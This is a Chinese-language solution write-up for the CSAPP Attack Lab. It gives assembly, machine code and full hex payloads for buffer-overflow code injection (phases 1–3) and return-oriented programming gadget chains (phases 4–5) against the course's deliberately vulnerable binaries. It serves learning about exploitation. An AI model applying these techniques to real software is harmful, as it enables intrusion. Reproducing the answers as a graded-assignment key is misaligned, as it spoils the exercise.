准备

  1. 官方 lab 主页 lab 的指导文档是必须看的,阅读官网页面上此 lab 的 pdf 格式的指 导文件,其中详细记录每一个破解操作的要求,少走很多弯路;
  2. 在 CSAPP Lab Assginments 官网上包含二进制可执行文件的压缩包不能在 Windows 平 台下解压缩,否则在 Linux 平台上运行时会出现权限问题(当然,也可以用 chmod 777 xxx 解决,不过没必要);
  3. ./ctarget 这样的命令会出现 illegal host… 错误,后面加个 -q 命令就好了,不让程序发送结果 到评分服务器;
  4. 自带的 HEX2RAW 程序会将16进制数据转换为字符串,输入的16进制数据格式必须是两位 16进制数,之间用空格隔开;
  5. 机器内二进制数据表示都是小端法;

破解

Now attack!

共有5个破解任务:

Phase Program Level Method Function Points Index
1 CTARGET 1 CI touch1 10 phase_1
2 CTARGET 2 CI touch2 25 phase_2
3 CTARGET 3 CI touch3 25 phase_3
4 RTARGET 2 ROP touch2 35 phase_4
5 RTARGET 3 ROP touch3 5 phase_5
  1. CI(代码注入)方式来破解的 Ctarget 可执行文件运行栈位置是不变的;
  2. ROP(返回导向)方式来破解的 Rtarget 这个可执行代码文件的运行时栈位置每次运行 都不同的;而且它在栈中的代码是不可执行的,否则会引起 Segmentation Fault,所以 不能用代码注入的方式来破解;

phase_1

  1. 要求在 Ctarget 执行时在 test 函数执行完成 val = getbuf() 完成后转移到 touch1 函数执行而不是打印,几个函数的源代码:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
    unsigned getbuf()
    {
      char buf[BUFFER_SIZE];  /* BUFFER_SIZE 是一个常量 */
      Gets(buf);  /* 破解的切入点 */
      return 1;
    }
    
    void test()
    {
      int val;
      val = getbuf();
      printf("No exploit. Getbuf returned 0x%x\n", val);
    }
    
    void touch1()
    {
      vlevel = 1;
      printf("Touch1!: You called touch1()\n");
      validate(1);
      exit(0);
    }
  2. 切入点是 getbuf 函数,它调用的 Gets 函数与C库函数 gets 功能类似,但引入了一个 漏洞。它为 buf 这个变量在栈中分配了空间,如果输入的字符串长度超过 BUFFER_SIZE 指定的长度,Gets 就会将多的字符数据覆盖到不属于这个 buf 变量的栈空间中(试试看 ./ ctarget 一个超长字符串 ,会报 Segment Fault);

  3. 在调用函数前,会将调用结束后的下一个指令的地址存放于栈中 push %rip ,当调用 函数返回时,就会从栈中取回地址并继续运行;

  4. 所以我们需要找办法用 touch1 首地址覆盖掉第3步中提及的地址,在这里就是利用 Gets 函数的漏洞,将这个地址放置于输入的字符串中;

  5. 首先确定 touch1 函数的虚拟地址:0x4017c0;

  6. 查看 ctarget 反编译代码中 getbuf 为了创建这个字符数组 buf 占用了多少栈空间:

    1
    2
    3
    
    4017a8: 48 83 ec 28             sub    $0x28,%rsp
    4017ac: 48 89 e7                mov    %rsp,%rdi
    4017af: e8 8c 02 00 00          callq  401a40 <Gets>

    占用了40个内存地址的空间,也就是说最多只能输入40个字符,而当前的栈底部+8的位 置就存储了此次调用结束后的返回地址;

  7. 只需要将 0x4017c0 扩展成 0x004017c0,因为是64位系统,地址占据了8个地址的空间, 小端法所以输入时应该是 c0 17 40 00,前面还应该有40个字符,全填0就可以了;

  8. 使用 HEX2RAW 将数据转换成字符串(最好是保存在文件中), ./ctardgt -q -i file 即可。

phase_2

  1. 要求在 test 函数中调用 getbuf 函数返回后,进入 touch2 函数调用,而不是原来的 打印一串字符,touch2 代码如下:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    void touch2(unsigned val)
    {
      vlevel = 2;
      if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
      } else {
        printf("Misfire!: You called touch2(0x%.8x)\n", val);
        fail(2);
      }
      exit(0);
    }

    本题唯一和 phase_1 不同的地方在与,不仅需要代码注入从而跳到别的函数处执行,还 要在代码注入中为这个函数准备参数;不允许使用 jump 或者 call 指令;

  2. 函数调用前,它的第一个参数是存放在 %rdi 中的,最多有6个整型或指针型参数通过寄 存器传送,操作数宽度是8字节时,寄存器使用顺序依次是 %rdi %rsi %rdx %rcx %r8 %r9;

  3. cookie 的值 lab 中已经给出:0x59b997fa;touch2 函数的首地址是:0x4017ec;

  4. 要想实现题目要求的效果:

    1. 首先需要和 phase_1 一样替换 getbuf 调用后的返回地址,替换成什么呢?注意, 并不是替换成 touch2 函数的首地址,这样的话参数验证就不正确了;
    2. 正确做法是把那个返回地址替换为 getbuf 中 %rsp 处的值,也就是 buf 变量存储 空间开始的地方;
    3. 注入的代码应该放置在 buf 的存储位置处,这样 getbuf 调用完成后就会跳转到这 个位置并运行其中存储的机器码;
    4. 使用 gdb 获得 getbuf 中 %rsp 寄存器的值,是 0x5561dc78
  5. 注入的代码功能是:将 cookie 的值传入 %edi 寄存器中,将 touch2 的代码推入栈中, 然后返回,这样就可以正确的参数调用 touch2,汇编代码就是:

    1
    2
    3
    
    mov $0x59b997fa,%rdi
    pushq $0x4017ec
    ret

    相应的机器码就是 bf fa 97 b9 59 68 ec 17 40 00 c3

  6. 输入的最后应该是 78 dc 61 55,中间全部用00 填充。

phase_3

  1. 和 phase_2 类似,但是传递的参数不是 cookie 的值,中间跳转到的函数是 touch3, 传入给它的参数是一个特殊的字符串,代码:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    int hexmatch(unsigned val, char *sval)
    {
      char cbuf[110];
      char *s = cbuf + random() % 100;
      sprintf(s, "%.8x", val);
      /* 将无符号整数 val 的值按格式化字符串格式化,输出到 s 指向的字符串 */
      return strncmp(sval, s, 9) == 0;
      /* 比较 sval 和 s 指向的字符串的前9个字节 */
    }
    
    void touch3(char *sval)
    {
      vlevel = 3;
      if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval); /* 必须匹配 */
        validate(3);
      } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
      }
      exit(0);
    }
  2. 注意:

    • 在 getbuf 函数中通过 sub 28,%rsp 给 buf 变量分配存储空间,存储输入的 字符串;
    • 在 getbuf 退栈 返回后调用 touch3 函数时,touch3 函数以及其内部调用 hexmatch 和 strncmp 又会使栈增长,特别是,hexmatch 函数内部为变量分配了 110 个地址空间,这个已经完全包括了原来 getbuf 中分配的40个地址空间了;
    • 而且因为 hexmatch 函数内部指向字符串的指针 s 的首地址是在这110个地址空间的 前99个地址中随机生成的,在地址 s 处写入数据有可能将 getbuf 中存储在其40个地 址空间的数据覆盖;
    • sval 如果指向的是 getbuf 中分配的地址空间中的一个,它指向的数据被覆盖的话, strncmp 就会引用不正确的内容;更不用提 strncmp 也可能会增长栈并覆写数据;
  3. 根据第2条,这一次注入的代码不应该在 getbuf 的40个存储空间中,它应该上探到 test 函数的栈空间中(或者再上探),毕竟在这一系列的调用中,test 没有退栈,而 且 touch3 退出时使用了 exit(0) ,test 的栈中数据被覆盖不会造成错误;

  4. 确认 touch3 函数的首地址是:0x4018fa,cookie是:0x59b997fa,因为 hexmatch 中 是与它的字符串表示作比较,对应 ASCII 码转换成字符串”59b997fa”后的16进制表示是: 35 39 62 39 39 37 66 61 00(最后一个 \0 表示字符串结束,所以这里是9个字符,这 也是为什么 hexmatch 中要比较9个字节)

  5. 注入的代码和 phase_2 中类似,只是注入的位置不同:

    1
    2
    3
    4
    5
    6
    
    push $0x0  # 保险起见将字符串后一段数据位全设置为0(0x00 表示 \0)
    movq $0x6166373939623935,%rax  # x86-64 中的 trick pushq 最大接受32位的立即数
    pushq %rax  # 压栈
    movq %rsp,%rdi  # 将字符串保存的首地址送 %rdi
    pushq $0x4018fa
    ret

    相应的机器码就是 6a 00 48 b8 35 39 62 39 39 37 66 61 50 48 89 e7 68 fa 18 40 00 c3

  6. 跳转地址就不能在 getbuf 中栈增长后的 %rsp ~ %rsp+40 这个地址范围内了,为了方 便,注入代码就存储在紧靠存储返回地址的区域,既然是通过 pushq 指令压入数据并使 栈增长,指向这个字符串的指针就是 pushq 之后 $rsp 的值;

  7. 输入的字符串的16进制表示就得是:前40个字节都是 00 ,a8 dc 61 55 后还应该加四 组00 ,因为这是一个64位地址,取返回地址时是64位一起取的,然后再加上转换得到的 机器码;

  8. 最后是 00 00 … a8 dc 61 55 00 00 00 00 6a 00 48 b8 35 39 62 39 39 37 66 61 50 48 89 e7 68 fa 18 40 00 c3

phase_4

  1. 这里使用了 Return-Oriented 的方式,详细介绍及具体的破解要求、辅助说明见 lab 的指导文档;
  2. 就如指导文件中所说的,这次破解只需要跳转两个 gadget:一个包含了 popq %rax ,一个包含了 movq %rax,%rdi ,它们的二进制表示分别是 58 48 89 c7 ,还有 nop 指令使程序计数器加1,二进制表示是 90 ,还有 ret 返回指令,二进制表 示是 c3
  3. 上面提到的两个 gadget 在反编译 rtarget 的汇编代码文件中是这样的:

    1
    2
    3
    4
    5
    6
    7
    
    00000000004019a7 <addval_219>:
    4019a7: 8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
    4019ad: c3
    ...
    00000000004019a0 <addval_273>:
    4019a0: 8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
    4019a6: c3
  4. 实现的功能就是从 getbuf 返回后,进入 0x4019ab 处执行使 0x59b997fa 弹出栈保存 在 %rax 寄存器中,然后进入 0x4019a2 处执行,将 %rax 的内容送到 %rdi 寄存器处, 最后进入 %0x4017ec 处执行 touch2 的指令;

  5. 所以最后的结果用16进制来表示就是 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

phase_5

  1. 虽然本题只有5分,但据文档中所说,这道题是最难的,属于加分题,实在完成不了分数 损失也不大;
  2. 由于要传递指针,这次在输入字符串中应该包含 cookie “0x59b997fa” 的 ASCII 表示,传递的参数就是这个字符串的首地址;
  3. 思路大体来说是这样:
    1. 为了不影响栈内存储地址,将 cookie 字符串的数据放在输入最后;
    2. getbuf 返回后应当进入的函数(或者跳转几个函数)应该实现将 cookie 字符串的 首地址传送给 %rdi
    3. 最后进入 touch3 函数的指令块,地址是;0x4018fa;
  4. 具体实现:将 cookie 字符串首地址存放在 touch3 函数地址存储后,在调用 touch3 函数前计算获得 cookie 字符串的首地址,如何做:
    1. 计算偏移量,
      1. 在跳转到 touch3 前的最后几次跳转依次是
        1. 取得当前栈顶,将当前的 %rsp 送给 %rax(当前跳转地址已弹出);
        2. 将 %rax 送 %rdi;
        3. 将 %rdi 与偏移量相加,结果存储在 %rax 中;
        4. 将 $rax 送 %rdi;
      2. 上面提及的每次跳转地址都在栈中占据8个地址空间,连 touch3 的跳转地址包括 在内,偏移量应该是 32;
    2. 使用指令获得偏移量
      1. getbuf 结束之后应该执行指令计算偏移量
      2. 注意到 farm 里面有一个非常特别的函数,地址是 0x4019d6,实现了 lea (%rdi,%rsi,1),%rax ,在跳转到 touch3 前取得的 %rsp 寄存器中的值离 cookie 字符串的栈地址还有距离。现在必需通过多次重复加法来获得正确的字符 串首地址;
      3. 通过“加一”这个关键词,搜索到 farm 中有一个直接给 %eax 传送1的函数,地址 是 0x4019d0;
      4. 将 %eax 中的1送到 %edi 寄存器,机器码 89 c7 ,地址是 0x4019c6;
      5. 现在必须让 %eax 中的1送到 %esi 中,但是 farm 中没有直接实现这个功能的机 器码 89 c6 ,只能绕几个弯来实现了:
        1. 无非是将 %eax 的值传送(movl)给别的寄存器,再送给 %esi,可能不止绕 一次;
        2. movl 的机器码表示是 89 ,但是 farm 中的机器码这么多,不可能一个一 个找过去,这时候 lab 的指导文档提供的附录就非常有用了,其实它已经明 确指出了在这次 lab 中必然会用到 functional nop 指令,这些指令不会改 变操作符中寄存器的值;
        3. 在 farm 中搜索这些 functional nop 的机器码,以及这些机器码前是否 89 这个 movl 机器码,可以找到三个有用的 gadget,分别实现了 movl %eax,%edx, movl %edx,%ecx, movl %ecx,%esi, 地址分别是: 0x401a42, 0x401a34, 0x401a27
        4. 在跳转执行这三个地址的机器码之后,%esi 中的值就是1了(与movb、movw不 同,movl指令将会填充目的寄存器的低32位,并使高32位全部为0;所以, %rsi中的值也是1)
      6. 每次跳转到第1步中说明的地址,完成运行之后必须再次将 %eax 的内容送 %edi 及 %esi,然后再次跳到第3步中说明的地址,反复多次直到 %esi 中的值就是32 为止;
      7. 所以刚开始的跳转序列应该是:d0 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 42 1a 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 27 1a 40 00 00 00 00 00
    3. 然后就像计算偏移量中所提及的,进行最后几次跳转,地址依次是:
      1. 0x401a06,取得当前栈顶,将当前的 %rsp 送给 %rax;
      2. 0x4019c5,将 %rax 送 %rdi;
      3. 0x4019d6,将 %rdi 与偏移量相加,结果存储在 %rax 中;
      4. 0x4019c5,将 $rax 送 %rdi;
      5. 0x4018fa,执行 touch3;
    4. 最后的结果的机器码表示就是:前面40组 00 ,中间是2.7中列出的那一大串,最后 就是 06 1a 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 c5 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00,再然后是 cookie 字符串 的机器级表示。